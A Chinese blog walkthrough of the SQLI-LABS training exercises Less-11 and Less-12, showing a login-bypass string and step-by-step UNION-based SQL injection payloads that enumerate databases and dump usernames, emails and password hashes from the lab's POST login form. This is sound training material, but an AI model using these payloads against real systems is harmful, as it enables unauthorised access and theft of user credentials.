SQLI-LABS(Less-11、12)

Less-11(POST-Error Based-Single Quotes-String)

打开Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。

万能密码

那么先尝试一下万能密码登录,用户名:admin' #、密码随便填一个:

从上图可以看出登陆成功,并且会回显账号和密码。

其他方法

判断注入

先随便尝试一个账号密码,uname=name & passwd=pass

显示登录失败,接着修改post包,加入引号看是否会报错.

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号。到此可以发现SQL语句的报错会显示在前端页面。

判断当前数据表列数

注入语句:uname=name' order by 1# & passwd=pass

当尝试到uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

判断回显位

注入语句:uname=name' union select 1,2 # & passwd=pass

判断数用户名和据库名

注入语句:uname=name' union select user(),database() # & passwd=pass

通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。

确定当前数据库内表名

注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

通过上述注入可以得知当前数据库中存在emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

到此,就得到了当前表中所有的用户名和密码。

跨数据库注入

通过上面的步骤可以看到当前用户是root用户,那么可以尝试爆其他数据库中的信息。

确定当前服务器上有哪些数据库

注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

通过上述注入可以得知当前服务器中的数据库由:information_schemabWAPPchallengesdvwamysqlperformance_schemasecuritytest

确定bWAPP数据库中的数据表

注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

上图中可以看出在bWAPP库中的表分别是blog,heroes,movies,users,visitors

确定users数据库中的列名

注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

可以看到users表中的列名为:id,login,password,email,secret,activation_code,activated,reset_code,admin

确定users表中的邮箱和密码

注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug

Less-12(POST-Error Based-Double Quotes-String-with twist)

通过注入uname=name" & passwd=pass发现SQL闭合符号为"),其余操作均与第11关相同。

确定回显位,其余操作不再赘述:

posted @ 2022-09-08 20:33  顾北清  阅读(416)  评论(0编辑  收藏  举报